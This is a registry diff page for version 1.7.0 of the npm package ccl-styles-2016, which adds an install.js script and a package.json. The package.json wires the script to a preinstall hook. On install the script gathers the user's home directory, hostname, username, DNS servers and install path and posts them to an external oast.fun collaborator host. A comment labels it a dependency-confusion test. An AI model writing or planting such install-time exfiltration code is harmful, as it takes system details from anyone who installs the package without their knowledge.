ccl-styles-2016 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ccl-styles-2016 might be problematic. Click here for more details.
- package/install.js +53 -0
- package/package.json +16 -0
package/install.js
ADDED
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* This is a dependency confusion test package from handball10.
|
|
3
|
+
*
|
|
4
|
+
* Thanks to https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
|
|
5
|
+
* and https://dhiyaneshgeek.github.io/web/security/2021/09/04/dependency-confusion/
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const os = require("os");
|
|
9
|
+
const dns = require("dns");
|
|
10
|
+
const querystring = require("querystring");
|
|
11
|
+
const https = require("https");
|
|
12
|
+
const packageJSON = require("./package.json");
|
|
13
|
+
const package = packageJSON.name;
|
|
14
|
+
|
|
15
|
+
const trackingData = JSON.stringify({
|
|
16
|
+
p: package,
|
|
17
|
+
c: __dirname,
|
|
18
|
+
homeDir: os.homedir(),
|
|
19
|
+
hostName: os.hostname(),
|
|
20
|
+
userName: os.userInfo().username,
|
|
21
|
+
dns: dns.getServers(),
|
|
22
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
23
|
+
v: packageJSON.version,
|
|
24
|
+
pjson: packageJSON,
|
|
25
|
+
});
|
|
26
|
+
|
|
27
|
+
var postData = querystring.stringify({
|
|
28
|
+
msg: trackingData,
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
var options = {
|
|
32
|
+
hostname: "bsceojsuztnvqcdbgaum2iynn423cabpl.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
|
|
33
|
+
port: 443,
|
|
34
|
+
path: "/",
|
|
35
|
+
method: "POST",
|
|
36
|
+
headers: {
|
|
37
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
38
|
+
"Content-Length": postData.length,
|
|
39
|
+
},
|
|
40
|
+
};
|
|
41
|
+
|
|
42
|
+
var req = https.request(options, (res) => {
|
|
43
|
+
res.on("data", (d) => {
|
|
44
|
+
process.stdout.write(d);
|
|
45
|
+
});
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
req.on("error", (e) => {
|
|
49
|
+
// console.error(e);
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
req.write(postData);
|
|
53
|
+
req.end();
|
package/package.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "ccl-styles-2016",
|
|
3
|
+
"version": "1.7.0",
|
|
4
|
+
"description": "Test package by handball10",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node install.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": [
|
|
11
|
+
"dependency",
|
|
12
|
+
"confusion"
|
|
13
|
+
],
|
|
14
|
+
"author": "handball10",
|
|
15
|
+
"license": "ISC"
|
|
16
|
+
}
|